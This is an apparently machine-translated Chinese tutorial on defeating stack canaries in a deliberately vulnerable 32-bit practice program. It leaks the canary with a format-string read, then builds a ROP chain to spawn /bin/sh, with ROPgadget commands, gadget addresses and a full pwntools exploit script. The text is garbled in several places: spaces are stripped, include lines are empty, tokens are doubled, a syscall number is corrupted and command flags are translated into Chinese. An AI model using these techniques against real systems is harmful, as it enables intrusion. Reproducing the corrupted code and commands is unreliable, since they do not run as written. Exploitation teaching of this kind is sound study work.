当前位置: 首页 > 科技观察

构建具有堆栈保护的指令流

时间:2023-03-20 18:36:05 科技观察

1。简介我们在学习ropgadgets原理和ret2syscall技术的时候,在构造指令流的时候,是没有栈保护的,比如下面这个程序:文件名:7.c#include#include#include#include#includevoideexploit(){system("/bin/sh");}voidfunc(){charstr[0x20];read(0,str,0x50);printf(str);read(0,str,0x50);}intmain(){func();return0;}我们这样编译,没有栈保护,然后用ropgadgets构造指令流,然后就可以成功执行execve(“/bin/sh”,null,null);。gcc-no-pie-fno-stack-protector-static-m32-o7.exe7.c加上栈保护怎么办?像这样编译:gcc-no-pie-fstack-protector-static-m32-o7.exe7.c显然,我们不能像以前那样构造指令流了,因为加了栈保护。那我们该怎么办呢?我们可以使用格式化输出打印出金丝雀,然后组装指令。2.找到调试我们程序的地址,找到canary的地址,地址为:0xffffcfac继续调试,直到printf,我们看canary数据栈顶的位置:0060,除以4等于15,表示即传递给第一个read函数的值为:%15$08x,可以打印出canary重新调试,找到read函数存放读取数据的地址:0xffffcf8c把%15$08x给read函数,发现可以打印出canaryNext就是利用好第二个read函数构造rop链。3、在linux上构建rop链系统调用原理:eax系统调用号ebx第一个参数ecx第二个参数edx第三个参数esi第四个参数edi第五个参数int0×80所以eax存放execve函数系统调用号为1??1,ebx存放第一个参数/bin/sh,ecx存放的是第二个参数null,也就是0,edx存放的是第三个参数,也是0ROPgadget--binary./7.exe--only"pop|ret"|grep"eax"地址:0x080b8546ROPgadget--binary./7.exe--only"pop|ret"|grep"ebx"|grep"ecx"|grep"edx"地址:0x0806f210ROPgadget--binary./7.exe--string"/bin/sh”地址:0x080bbd80ROPgadget——二进制./7.exe——只有“int”|grep“0x80”地址:0x0806ce374。写入pocfrompwnimport*context(arch="i386",os="linux")p=process('./7.exe')p.sendline("%15$08x")canary=p.recv()[:8]print(canary)canarycanary=canary.decode("hex")[::-1]coffset=4*8roffset=3*4add_eax=p32(0x080b8546)value_eax=p32(0xb)add_edx_ecx_ebx=p32(0x0806f210)value_ebx=p32(0x080bbd80)value_ecx=p32(0)value_edx=p32(0)add_int=p32(0x0806ce37)payload=coffset*'a'+canary+roffset*'a'+add_eax+value_eax+add_edx_ecx_ebx+value_edx+value_ecx+value_ebx+add_intp.sendline(payload)p.interactive()frompwnimport*tocanary=canary.decode("hex")[::-1]都在为了找到金丝雀,由于栈保护,我们不能直接将数据入栈,所以需要先找到金丝雀,然后构造payload。我们需要添加金丝雀,通过栈保护,然后添加我们的rop链就成功执行了。5.总结启用堆栈保护并添加cookie。一旦我们销毁栈,就会引起系统保护,出现异常。但是我们仍然需要构建我们的指令流。我们可以使用格式化输出来打印金丝雀。接下来,我们可以使用读写函数来构造一个指令流。我们先读取它,看看栈上的金丝雀在哪里,然后我们就可以取出金丝雀,回填金丝雀,组装起来,这样我们就可以通过栈保护,构造我们的指令流了。